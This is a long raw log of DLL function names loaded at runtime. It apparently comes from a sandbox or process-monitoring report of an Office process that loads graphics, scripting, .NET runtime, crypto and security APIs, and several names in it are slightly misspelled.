- DynamicLoader: Comctl32.dll/DetachScrollBars
- DynamicLoader: Comctl32.dll/AttachScrollBars
- DynamicLoader: Comctl32.dll/CCSetScrollInfo
- DynamicLoader: Comctl32.dll/CCGetScrollInfo
- DynamicLoader: Comctl32.dll/CCEnableScrollBar
- DynamicLoader: Comctl32.dll/QuerySystemGestureStatus
- DynamicLoader: uxtheme.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: Comctl32.dll/RegisterClassNameW
- DynamicLoader: uxtheme.dll/GetThemeMargins
- DynamicLoader: uxtheme.dll/GetThemeInt
- DynamicLoader: Comctl32.dll/RegisterClassNameW



- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: OLEAUT32.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: GDI32.dll/GdiTransparentBlit
- DynamicLoader: GDI32.dll/GdiAlphaBlend
- DynamicLoader: GDI32.dll/GdiGradientFill
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: MSPTLS.DLL/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: USP10.DLL/ScriptItemizeOpenType
- DynamicLoader: USP10.DLL/ScriptShapeOpenType
- DynamicLoader: USP10.DLL/ScriptPlaceOpenType
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: kernel32.dll/LoadLibraryW
- DynamicLoader: GdiPlus.dll/GdiplusStartup
- DynamicLoader: USER32.dll/GetWindowInfo
- DynamicLoader: USER32.dll/GetAncestor
- DynamicLoader: USER32.dll/GetMonitorInfoA
- DynamicLoader: USER32.dll/EnumDisplayMonitors
- DynamicLoader: USER32.dll/EnumDisplayDevicesA
- DynamicLoader: GDI32.dll/ExtTextOutW
- DynamicLoader: GDI32.dll/GdiMetaPrintDC
- DynamicLoader: GdiPlus.dll/GdiCreatePath
- DynamicLoader: mso.dll/
- DynamicLoader: GdiPlus.dll/GdiAddPathRectangle
- DynamicLoader: mso.dll/
- DynamicLoader: GdiPlus.dll/GdiCreatePen1
- DynamicLoader: mso.dll/
- DynamicLoader: GdiPlus.dll/GdiDeletePen
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: GdiPlus.dll/GdiCreateSolidFill
- DynamicLoader: mso.dll/



- DynamicLoader: GdiPlus.dll/GdipSetSolidFillColor
- DynamicLoader: mso.dll/
- DynamicLoader: GdiPlus.dll/GdipGetPointCount
- DynamicLoader: mso.dll/
- DynamicLoader: GdiPlus.dll/GdipClonePath
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: GdiPlus.dll/GdipCreateFromHDC
- DynamicLoader: mso.dll/
- DynamicLoader: GdiPlus.dll/GdipSetPageUnit
- DynamicLoader: mso.dll/
- DynamicLoader: GdiPlus.dll/GdipGetVisibleClipBoundsI
- DynamicLoader: mso.dll/
- DynamicLoader: GdiPlus.dll/GdipCreateMatrix
- DynamicLoader: mso.dll/
- DynamicLoader: GdiPlus.dll/GdipSetMatrixElements
- DynamicLoader: mso.dll/
- DynamicLoader: GdiPlus.dll/GdipSetSmoothingMode
- DynamicLoader: mso.dll/
- DynamicLoader: GdiPlus.dll/GdipSetTextRenderingHint
- DynamicLoader: mso.dll/
- DynamicLoader: GdiPlus.dll/GdipSetInterpolationMode
- DynamicLoader: mso.dll/
- DynamicLoader: GdiPlus.dll/GdipSetPixelOffsetMode
- DynamicLoader: mso.dll/
- DynamicLoader: GdiPlus.dll/GdipSetWorldTransform
- DynamicLoader: mso.dll/
- DynamicLoader: GdiPlus.dll/GdipGetWorldTransform
- DynamicLoader: mso.dll/
- DynamicLoader: GdiPlus.dll/GdipGetSmoothingMode
- DynamicLoader: mso.dll/
- DynamicLoader: GdiPlus.dll/GdipGetInterpolationMode
- DynamicLoader: mso.dll/
- DynamicLoader: GdiPlus.dll/GdipResetWorldTransform
- DynamicLoader: mso.dll/
- DynamicLoader: GdiPlus.dll/GdipCreateRegion
- DynamicLoader: mso.dll/
- DynamicLoader: GdiPlus.dll/GdipGetClip
- DynamicLoader: mso.dll/
- DynamicLoader: GdiPlus.dll/GdipDeleteMatrix
- DynamicLoader: mso.dll/
- DynamicLoader: GdiPlus.dll/GdipSetClipRegion
- DynamicLoader: mso.dll/
- DynamicLoader: GdiPlus.dll/GdipDeleteRegion
- DynamicLoader: mso.dll/
- DynamicLoader: GdiPlus.dll/GdipSetClipRectI
- DynamicLoader: mso.dll/
- DynamicLoader: USP10.DLL/ScriptItemize
- DynamicLoader: USP10.DLL/ScriptPlace
- DynamicLoader: USP10.DLL/ScriptShape
- DynamicLoader: USP10.DLL/ScriptItemizeOpenType
- DynamicLoader: USP10.DLL/ScriptPlaceOpenType
- DynamicLoader: USP10.DLL/ScriptShapeOpenType
- DynamicLoader: USP10.DLL/ScriptJustify
- DynamicLoader: USP10.DLL/ScriptTextOut
- DynamicLoader: USP10.DLL/ScriptCPToX
- DynamicLoader: USP10.DLL/ScriptXtoCP
- DynamicLoader: USP10.DLL/ScriptFreeCache
- DynamicLoader: USP10.DLL/ScriptCacheGetHeight
- DynamicLoader: USP10.DLL/ScriptGetCMap



- DynamicLoader: ADVAPI32.dll/EventUnregister
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: OLEAUT32.dll/SysAllocString
- DynamicLoader: OLEAUT32.dll/SysStringLen
- DynamicLoader: OLEAUT32.dll/SysFreeString
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: ADVAPI32.dll/NotifyServiceStatusChangeW
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: GdiPlus.dll/GdipLoadImageFromStreamICM
- DynamicLoader: ADVAPI32.dll/NotifyServiceStatusChangeW
- DynamicLoader: WindowsCodecs.dll/DllGetClassObject
- DynamicLoader: kernel32.dll/WerRegisterMemoryBlock
- DynamicLoader: GdiPlus.dll/GdipGetImageRawFormat
- DynamicLoader: GdiPlus.dll/GdipGetImageFlags
- DynamicLoader: GdiPlus.dll/GdipGetImageWidth
- DynamicLoader: GdiPlus.dll/GdipGetImageHeight
- DynamicLoader: GdiPlus.dll/GdipGetImagePixelFormat
- DynamicLoader: GdiPlus.dll/GdipGetImageHorizontalResolution
- DynamicLoader: GdiPlus.dll/GdipGetImageVerticalResolution
- DynamicLoader: GdiPlus.dll/GdipImageGetFrameCount
- DynamicLoader: GdiPlus.dll/GdipDisposeImage
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: GdiPlus.dll/GdipStartPathFigure
- DynamicLoader: GdiPlus.dll/GdipAddPathLine2
- DynamicLoader: GdiPlus.dll/GdipClosePathFigure
- DynamicLoader: GdiPlus.dll/GdipCreateMatrix2
- DynamicLoader: GdiPlus.dll/GdipTransformPath
- DynamicLoader: GdiPlus.dll/GdipAddPathPolygon
- DynamicLoader: GdiPlus.dll/GdipGetPathWorldBounds
- DynamicLoader: GdiPlus.dll/GdipSetPenLineCap197819
- DynamicLoader: GdiPlus.dll/GdipSetPenLineJoin
- DynamicLoader: GdiPlus.dll/GdipSetPenMiterLimit
- DynamicLoader: GdiPlus.dll/GdipCreatePathIter
- DynamicLoader: GdiPlus.dll/GdipPathIterRewind
- DynamicLoader: GdiPlus.dll/GdipPathIterNextSubpath
- DynamicLoader: GdiPlus.dll/GdipPathIterCopyData
- DynamicLoader: GdiPlus.dll/GdipDeletePathIter
- DynamicLoader: GdiPlus.dll/GdipAddPathLine
- DynamicLoader: GdiPlus.dll/GdipClonePen
- DynamicLoader: GdiPlus.dll/GdipSetPenStartCap
- DynamicLoader: GdiPlus.dll/GdipSetPenEndCap
- DynamicLoader: GdiPlus.dll/GdipSetCompositingQuality
- DynamicLoader: GdiPlus.dll/GdipMultiplyWorldTransform
- DynamicLoader: GdiPlus.dll/GdipCreateBitmapFromGdiDib
- DynamicLoader: GdiPlus.dll/GdipDrawImagePointsRect
- DynamicLoader: GdiPlus.dll/GdipCreateStringFormat
- DynamicLoader: GdiPlus.dll/GdipSetStringFormatTrimming
- DynamicLoader: GdiPlus.dll/GdipCreateFontFromLogfontA
- DynamicLoader: kernel32.dll/RegOpenKeyExW
- DynamicLoader: kernel32.dll/RegQueryInfoKeyA
- DynamicLoader: kernel32.dll/RegCloseKey
- DynamicLoader: kernel32.dll/RegCreateKeyExW
- DynamicLoader: kernel32.dll/RegQueryValueExW



```
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: Comctl32.dll/RemoveWindowSubclass
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: USP10.DLL/ScriptFreeCache
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: MSPTLS.DLL/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: VBE7.DLL/DIIvbeTerm
- DynamicLoader: ole32.dll/DIIDebugObjectRPCHook
- DynamicLoader: ntdll.dll/EtwUnregisterTraceGuids
- DynamicLoader: VBE7.DLL/DIICanUnloadNow
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: USER32.dll/UnregisterPowerSettingNotification
- DynamicLoader: POWRPROF.DLL/PowerSettingUnregisterNotification
- DynamicLoader: POWRPROF.DLL/PowerSettingUnregisterNotification
```



- DynamicLoader: POWRPROF.DLL/PowerSettingUnregisterNotification
- DynamicLoader: POWRPROF.DLL/PowerSettingUnregisterNotification
- DynamicLoader: POWRPROF.DLL/PowerSettingUnregisterNotification
- DynamicLoader: POWRPROF.DLL/PowerSettingUnregisterNotification
- DynamicLoader: CRYPTSP.dll/CryptGenKey
- DynamicLoader: CRYPTSP.dll/CryptImportKey
- DynamicLoader: CRYPTSP.dll/CryptDestroyKey
- DynamicLoader: CRYPTSP.dll/CryptSetHashParam
- DynamicLoader: CRYPTSP.dll/CryptHashData
- DynamicLoader: CRYPTSP.dll/CryptGetHashParam
- DynamicLoader: CRYPTSP.dll/CryptDestroyHash
- DynamicLoader: CRYPTSP.dll/CryptReleaseContext
- DynamicLoader: ADVAPI32.dll/EventUnregister
- DynamicLoader: dwmapi.dll/DwmIsCompositionEnabled
- DynamicLoader: dwmapi.dll/DwmGetColorizationColor
- DynamicLoader: kernel32.dll/GetProductInfo
- DynamicLoader: kernel32.dll/GetUserGeoID
- DynamicLoader: msi.dll/DllGetVersion
- DynamicLoader: GdiPlus.dll/GdipDeleteCachedBitmap
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: ntdll.dll/EtwUnregisterTraceGuids
- DynamicLoader: ntdll.dll/EtwUnregisterTraceGuids
- DynamicLoader: ADVAPI32.dll/UnregisterTraceGuids
- DynamicLoader: Comctl32.dll/
- DynamicLoader: CRYPTSP.dll/CryptReleaseContext
- DynamicLoader: wbemcore.dll/Reinitialize
- DynamicLoader: wbemcore.dll/Reinitialize
- DynamicLoader: wbemcore.dll/Reinitialize
- DynamicLoader: WTSAPI32.dll/WTSQueryUserToken
- DynamicLoader: sechost.dll/OpenSCManagerW
- DynamicLoader: sechost.dll/OpenServiceW
- DynamicLoader: sechost.dll/QueryServiceStatus
- DynamicLoader: RasApi32.dll/RasEnumConnectionsW
- DynamicLoader: RasApi32.dll/RasConnectionNotificationW
- DynamicLoader: OLEAUT32.dll/
- DynamicLoader: wbemcore.dll/Reinitialize
- DynamicLoader: wbemcore.dll/Reinitialize
- DynamicLoader: wbemcore.dll/Reinitialize
- DynamicLoader: wbemcore.dll/Reinitialize
- DynamicLoader: wbemcore.dll/Reinitialize
- DynamicLoader: wbemcore.dll/Reinitialize
- DynamicLoader: kernel32.dll/SortGetHandle
- DynamicLoader: kernel32.dll/SortCloseHandle
- DynamicLoader: CRYPTBASE.dll/SystemFunction036
- DynamicLoader: ntmarta.dll/GetMartaExtensionInterface
- DynamicLoader: sechost.dll/LookupAccountNameLocalW
- DynamicLoader: ADVAPI32.dll/LookupAccountSidW
- DynamicLoader: sechost.dll/LookupAccountSidLocalW
- DynamicLoader: kernel32.dll/GetThreadPreferredUILanguages
- DynamicLoader: kernel32.dll/SetThreadPreferredUILanguages
- DynamicLoader: kernel32.dll/LocaleNameToLCID
- DynamicLoader: kernel32.dll/GetLocaleInfoEx
- DynamicLoader: kernel32.dll/LCIDToLocaleName
- DynamicLoader: kernel32.dll/GetSystemDefaultLocaleName
- DynamicLoader: FastProx.dll/DllGetClassObject
- DynamicLoader: FastProx.dll/DllCanUnloadNow
- DynamicLoader: kernel32.dll/RegOpenKeyExW
- DynamicLoader: kernel32.dll/RegQueryValueExW
- DynamicLoader: kernel32.dll/RegCloseKey
- DynamicLoader: sechost.dll/LookupAccountSidLocalW
- DynamicLoader: ADVAPI32.dll/EventRegister



- DynamicLoader: ADVAPI32.dll/EventUnregister
- DynamicLoader: ADVAPI32.dll/EventWrite
- DynamicLoader: ADVAPI32.dll/EventActivityIdControl
- DynamicLoader: ADVAPI32.dll/EventWriteTransfer
- DynamicLoader: ADVAPI32.dll/EventEnabled
- DynamicLoader: ADVAPI32.dll/RegOpenKeyW
- DynamicLoader: ADVAPI32.dll/LsaEnumerateTrustedDomains
- DynamicLoader: ADVAPI32.dll/LsaQueryInformationPolicy
- DynamicLoader: ADVAPI32.dll/LsaNtStatusToWinError
- DynamicLoader: ADVAPI32.dll/LsaFreeMemory
- DynamicLoader: ADVAPI32.dll/LsaOpenPolicy
- DynamicLoader: ADVAPI32.dll/LsaClose
- DynamicLoader: ADVAPI32.dll/QueryServiceStatusEx
- DynamicLoader: ADVAPI32.dll/DuplicateTokenEx
- DynamicLoader: ADVAPI32.dll/SetSecurityDescriptorControl
- DynamicLoader: ADVAPI32.dll/ConvertToAutoInheritPrivateObjectSecurity
- DynamicLoader: ADVAPI32.dll/DestroyPrivateObjectSecurity
- DynamicLoader: ADVAPI32.dll/CheckTokenMembership
- DynamicLoader: ADVAPI32.dll/AddAccessAllowedObjectAce
- DynamicLoader: ADVAPI32.dll/AddAccessDeniedObjectAce
- DynamicLoader: ADVAPI32.dll/AddAuditAccessObjectAce
- DynamicLoader: ADVAPI32.dll/SetNamedSecurityInfoW
- DynamicLoader: ADVAPI32.dll/GetNamedSecurityInfoW
- DynamicLoader: ADVAPI32.dll/SetNamedSecurityInfoExW
- DynamicLoader: ADVAPI32.dll/GetExplicitEntriesFromAclW
- DynamicLoader: ADVAPI32.dll/GetEffectiveRightsFromAclW
- DynamicLoader: OLEAUT32.dll/
- DynamicLoader: OLEAUT32.dll/
- DynamicLoader: OLEAUT32.dll/
- DynamicLoader: OLEAUT32.dll/
- DynamicLoader: ADVAPI32.dll/LookupAccountSidW
- DynamicLoader: userenv.dll/DestroyEnvironmentBlock
- DynamicLoader: userenv.dll/CreateEnvironmentBlock
- DynamicLoader: sechost.dll/ConvertSidToStringSidW
- DynamicLoader: SspiCli.dll/GetUserNameExW
- DynamicLoader: ole32.dll/StringFromCLSID
- DynamicLoader: ole32.dll/CoTaskMemFree
- DynamicLoader: OLEAUT32.dll/
- DynamicLoader: OLEAUT32.dll/
- DynamicLoader: ntdll.dll/EtwUnregisterTraceGuids
- DynamicLoader: ntdll.dll/EtwUnregisterTraceGuids
- DynamicLoader: CRYPTSP.dll/CryptReleaseContext
- DynamicLoader: kernel32.dll/SortGetHandle
- DynamicLoader: kernel32.dll/SortCloseHandle
- DynamicLoader: ADVAPI32.dll/RegOpenKeyExW
- DynamicLoader: ADVAPI32.dll/RegQueryInfoKeyW
- DynamicLoader: ADVAPI32.dll/RegEnumKeyExW
- DynamicLoader: ADVAPI32.dll/RegEnumValueW
- DynamicLoader: ADVAPI32.dll/RegCloseKey
- DynamicLoader: ADVAPI32.dll/RegQueryValueExW
- DynamicLoader: kernel32.dll/FIsAlloc
- DynamicLoader: kernel32.dll/FIsFree
- DynamicLoader: kernel32.dll/FIsGetValue
- DynamicLoader: kernel32.dll/FIsSetValue
- DynamicLoader: kernel32.dll/InitializeCriticalSectionEx
- DynamicLoader: kernel32.dll/CreateEventExW
- DynamicLoader: kernel32.dll/CreateSemaphoreExW
- DynamicLoader: kernel32.dll/SetThreadStackGuarantee
- DynamicLoader: kernel32.dll/CreateThreadpoolTimer
- DynamicLoader: kernel32.dll/SetThreadpoolTimer
- DynamicLoader: kernel32.dll/WaitForThreadpoolTimerCallbacks
- DynamicLoader: kernel32.dll/CloseThreadpoolTimer
- DynamicLoader: kernel32.dll/CreateThreadpoolWait

- DynamicLoader: kernel32.dll/SetThreadpoolWait
- DynamicLoader: kernel32.dll/CloseThreadpoolWait
- DynamicLoader: kernel32.dll/FlushProcessWriteBuffers
- DynamicLoader: kernel32.dll/FreeLibraryWhenCallbackReturns
- DynamicLoader: kernel32.dll/GetCurrentProcessorNumber
- DynamicLoader: kernel32.dll/GetLogicalProcessorInformation
- DynamicLoader: kernel32.dll/CreateSymbolicLinkW
- DynamicLoader: kernel32.dll/SetDefaultDllDirectories
- DynamicLoader: kernel32.dll/EnumSystemLocalesEx
- DynamicLoader: kernel32.dll/CompareStringEx
- DynamicLoader: kernel32.dll/GetDateFormatEx
- DynamicLoader: kernel32.dll/GetLocaleInfoEx
- DynamicLoader: kernel32.dll/GetTimeFormatEx
- DynamicLoader: kernel32.dll/GetUserDefaultLocaleName
- DynamicLoader: kernel32.dll/IsValidLocaleName
- DynamicLoader: kernel32.dll/LCMapStringEx
- DynamicLoader: kernel32.dll/GetCurrentPackageId
- DynamicLoader: kernel32.dll/GetTickCount64
- DynamicLoader: kernel32.dll/GetFileInformationByHandleExW
- DynamicLoader: kernel32.dll/SetFileInformationByHandleW
- DynamicLoader: ADVAPI32.dll/EventRegister
- DynamicLoader: ADVAPI32.dll/EventSetInformation
- DynamicLoader: mscoree.dll/
- DynamicLoader: ADVAPI32.dll/RegOpenKeyExW
- DynamicLoader: ADVAPI32.dll/RegQueryValueExW
- DynamicLoader: ADVAPI32.dll/RegCloseKey
- DynamicLoader: mscoreei.dll/RegisterShimImplCallback
- DynamicLoader: mscoreei.dll/RegisterShimImplCleanupCallback
- DynamicLoader: mscoreei.dll/SetShellShimInstance
- DynamicLoader: mscoreei.dll/OnShimDllMainCalled
- DynamicLoader: mscoreei.dll/CorBindToRuntimeEx_RetAddr
- DynamicLoader: mscoreei.dll/CorBindToRuntimeEx
- DynamicLoader: SHLWAPI.dll/UrllsW
- DynamicLoader: VERSION.dll/GetFileVersionInfoSizeW
- DynamicLoader: VERSION.dll/GetFileVersionInfoW
- DynamicLoader: VERSION.dll/VerQueryValueW
- DynamicLoader: kernel32.dll/FIsAlloc
- DynamicLoader: kernel32.dll/FIsFree
- DynamicLoader: kernel32.dll/FIsGetValue
- DynamicLoader: kernel32.dll/FIsSetValue
- DynamicLoader: kernel32.dll/InitializeCriticalSectionEx
- DynamicLoader: kernel32.dll/CreateEventExW
- DynamicLoader: kernel32.dll/CreateSemaphoreExW
- DynamicLoader: kernel32.dll/SetThreadStackGuarantee
- DynamicLoader: kernel32.dll/CreateThreadpoolTimer
- DynamicLoader: kernel32.dll/SetThreadpoolTimer
- DynamicLoader: kernel32.dll/WaitForThreadpoolTimerCallbacks
- DynamicLoader: kernel32.dll/CloseThreadpoolTimer
- DynamicLoader: kernel32.dll/CreateThreadpoolWait
- DynamicLoader: kernel32.dll/SetThreadpoolWait
- DynamicLoader: kernel32.dll/CloseThreadpoolWait
- DynamicLoader: kernel32.dll/FlushProcessWriteBuffers
- DynamicLoader: kernel32.dll/FreeLibraryWhenCallbackReturns
- DynamicLoader: kernel32.dll/GetCurrentProcessorNumber
- DynamicLoader: kernel32.dll/GetLogicalProcessorInformation
- DynamicLoader: kernel32.dll/CreateSymbolicLinkW
- DynamicLoader: kernel32.dll/SetDefaultDllDirectories
- DynamicLoader: kernel32.dll/EnumSystemLocalesEx
- DynamicLoader: kernel32.dll/CompareStringEx
- DynamicLoader: kernel32.dll/GetDateFormatEx
- DynamicLoader: kernel32.dll/GetLocaleInfoEx
- DynamicLoader: kernel32.dll/GetTimeFormatEx
- DynamicLoader: kernel32.dll/GetUserDefaultLocaleName



- DynamicLoader: kernel32.dll/IsValidLocaleName
- DynamicLoader: kernel32.dll/LCMapStringEx
- DynamicLoader: kernel32.dll/GetCurrentPackageId
- DynamicLoader: kernel32.dll/GetTickCount64
- DynamicLoader: kernel32.dll/GetFileInformationByHandleExW
- DynamicLoader: kernel32.dll/SetFileInformationByHandleW
- DynamicLoader: ADVAPI32.dll/EventSetInformation
- DynamicLoader: clr.dll/SetRuntimeInfo
- DynamicLoader: clr.dll/DllGetClassObjectInternal
- DynamicLoader: mscoree.dll/CreateConfigStream
- DynamicLoader: mscoreei.dll/CreateConfigStream_RetAddr
- DynamicLoader: mscoreei.dll/CreateConfigStream
- DynamicLoader: kernel32.dll/GetNumaHighestNodeNumber
- DynamicLoader: kernel32.dll/FIsSetValue
- DynamicLoader: kernel32.dll/FIsGetValue
- DynamicLoader: kernel32.dll/FIsAlloc
- DynamicLoader: kernel32.dll/FIsFree
- DynamicLoader: ntdll.dll/RtlVirtualUnwind
- DynamicLoader: kernel32.dll/GetSystemWindowsDirectoryW
- DynamicLoader: ADVAPI32.dll/AllocateAndInitializeSid
- DynamicLoader: ADVAPI32.dll/OpenProcessToken
- DynamicLoader: ADVAPI32.dll/GetTokenInformation
- DynamicLoader: ADVAPI32.dll/InitializeAcl
- DynamicLoader: ADVAPI32.dll/AddAccessAllowedAce
- DynamicLoader: ADVAPI32.dll/FreeSid
- DynamicLoader: ADVAPI32.dll/AllocateAndInitializeSid
- DynamicLoader: ADVAPI32.dll/OpenProcessToken
- DynamicLoader: ADVAPI32.dll/GetTokenInformation
- DynamicLoader: ADVAPI32.dll/InitializeAcl
- DynamicLoader: ADVAPI32.dll/AddAccessAllowedAce
- DynamicLoader: ADVAPI32.dll/FreeSid
- DynamicLoader: kernel32.dll/AddSIDToBoundaryDescriptor
- DynamicLoader: kernel32.dll/CreateBoundaryDescriptorW
- DynamicLoader: kernel32.dll/CreatePrivateNamespaceW
- DynamicLoader: kernel32.dll/OpenPrivateNamespaceW
- DynamicLoader: ADVAPI32.dll/AllocateAndInitializeSid
- DynamicLoader: ADVAPI32.dll/OpenProcessToken
- DynamicLoader: ADVAPI32.dll/GetTokenInformation
- DynamicLoader: ADVAPI32.dll/InitializeAcl
- DynamicLoader: ADVAPI32.dll/AddAccessAllowedAce
- DynamicLoader: ADVAPI32.dll/FreeSid
- DynamicLoader: kernel32.dll/DeleteBoundaryDescriptor
- DynamicLoader: kernel32.dll/WerRegisterRuntimeExceptionModule
- DynamicLoader: kernel32.dll/RaiseException
- DynamicLoader: mscoree.dll/
- DynamicLoader: mscoreei.dll/
- DynamicLoader: kernel32.dll/AddDllDirectory
- DynamicLoader: ole32.dll/CoInitializeEx
- DynamicLoader: CRYPTBASE.dll/SystemFunction036
- DynamicLoader: mscoree.dll/GetProcessExecutableHeap
- DynamicLoader: mscoreei.dll/GetProcessExecutableHeap_RetAddr
- DynamicLoader: mscoreei.dll/GetProcessExecutableHeap
- DynamicLoader: ole32.dll/CoGetContextToken
- DynamicLoader: KERNELBASE.dll/SetSystemFileCacheSize
- DynamicLoader: ntdll.dll/NtSetSystemInformation
- DynamicLoader: KERNELBASE.dll/PrivIsDllSynchronizationHeld
- DynamicLoader: OLEAUT32.dll/SysStringByteLen
- DynamicLoader: kernel32.dll/GetLocaleInfoEx
- DynamicLoader: kernel32.dll/LocaleNameToLCID
- DynamicLoader: CRYPTSP.dll/CryptImportKey
- DynamicLoader: CRYPTSP.dll/CryptHashData
- DynamicLoader: CRYPTSP.dll/CryptGetHashParam
- DynamicLoader: CRYPTSP.dll/CryptDestroyHash



- DynamicLoader: CRYPTSP.dll/CryptDestroyKey
- DynamicLoader: OLEAUT32.dll/
- DynamicLoader: OLEAUT32.dll/
- DynamicLoader: ADVAPI32.dll/RegCloseKey
- DynamicLoader: kernel32.dll/GetUserDefaultLocaleName
- DynamicLoader: kernel32.dll/LCIDToLocaleName
- DynamicLoader: kernel32.dll/GetUserPreferredUILanguages
- DynamicLoader: kernel32.dll/GetThreadPreferredUILanguages
- DynamicLoader: nlssorting.dll/SortGetHandle
- DynamicLoader: nlssorting.dll/SortCloseHandle
- DynamicLoader: ADVAPI32.dll/RegOpenKeyEx
- DynamicLoader: ADVAPI32.dll/RegOpenKeyExW
- DynamicLoader: clrjit.dll/sxsJitStartup
- DynamicLoader: clrjit.dll/getJit
- DynamicLoader: ADVAPI32.dll/EventRegister
- DynamicLoader: ADVAPI32.dll/EventSetInformation
- DynamicLoader: kernel32.dll/CompareStringOrdinal
- DynamicLoader: kernel32.dll/GetFullPathName
- DynamicLoader: kernel32.dll/GetFullPathNameW
- DynamicLoader: kernel32.dll/SetThreadErrorMode
- DynamicLoader: kernel32.dll/GetFileAttributesEx
- DynamicLoader: kernel32.dll/GetFileAttributesExW
- DynamicLoader: clr.dll/CreateAssemblyNameObject
- DynamicLoader: clr.dll/CreateAssemblyNameObjectW
- DynamicLoader: ole32.dll/CoGetObjectContext
- DynamicLoader: sechost.dll/LookupAccountNameLocalW
- DynamicLoader: ADVAPI32.dll/LookupAccountSidW
- DynamicLoader: sechost.dll/LookupAccountSidLocalW
- DynamicLoader: CRYPTSP.dll/CryptAcquireContextW
- DynamicLoader: CRYPTSP.dll/CryptGenRandom
- DynamicLoader: ole32.dll/NdrOleInitializeExtension
- DynamicLoader: ole32.dll/CoGetClassObject
- DynamicLoader: ole32.dll/CoGetMarshalSizeMax
- DynamicLoader: ole32.dll/CoMarshalInterface
- DynamicLoader: ole32.dll/CoUnmarshalInterface
- DynamicLoader: ole32.dll/StringFromIID
- DynamicLoader: ole32.dll/CoGetPSClsid
- DynamicLoader: ole32.dll/CoTaskMemAlloc
- DynamicLoader: ole32.dll/CoTaskMemFree
- DynamicLoader: ole32.dll/CoCreateInstance
- DynamicLoader: ole32.dll/CoReleaseMarshalData
- DynamicLoader: ole32.dll/DcomChannelSetHResult
- DynamicLoader: RpcRtRemote.dll/I_RpcExtInitializeExtensionPoint
- DynamicLoader: clr.dll/CreateAssemblyEnum
- DynamicLoader: clr.dll/CreateAssemblyEnumW
- DynamicLoader: kernel32.dll/ResolveLocaleName
- DynamicLoader: ntdll.dll/NtQueryInformationThread
- DynamicLoader: ntdll.dll/NtQuerySystemInformation
- DynamicLoader: kernel32.dll/CreateWaitableTimerExW
- DynamicLoader: kernel32.dll/SetWaitableTimerEx
- DynamicLoader: ole32.dll/CoUninitialize
- DynamicLoader: ADVAPI32.dll/EventActivityIdControl
- DynamicLoader: ADVAPI32.dll/EventActivityIdControl
- DynamicLoader: VERSION.dll/GetFileVersionInfoSize
- DynamicLoader: VERSION.dll/GetFileVersionInfoSizeW
- DynamicLoader: kernel32.dll/GetCurrentProcessId
- DynamicLoader: kernel32.dll/GetCurrentProcessIdW
- DynamicLoader: VERSION.dll/GetFileVersionInfo
- DynamicLoader: VERSION.dll/GetFileVersionInfoW
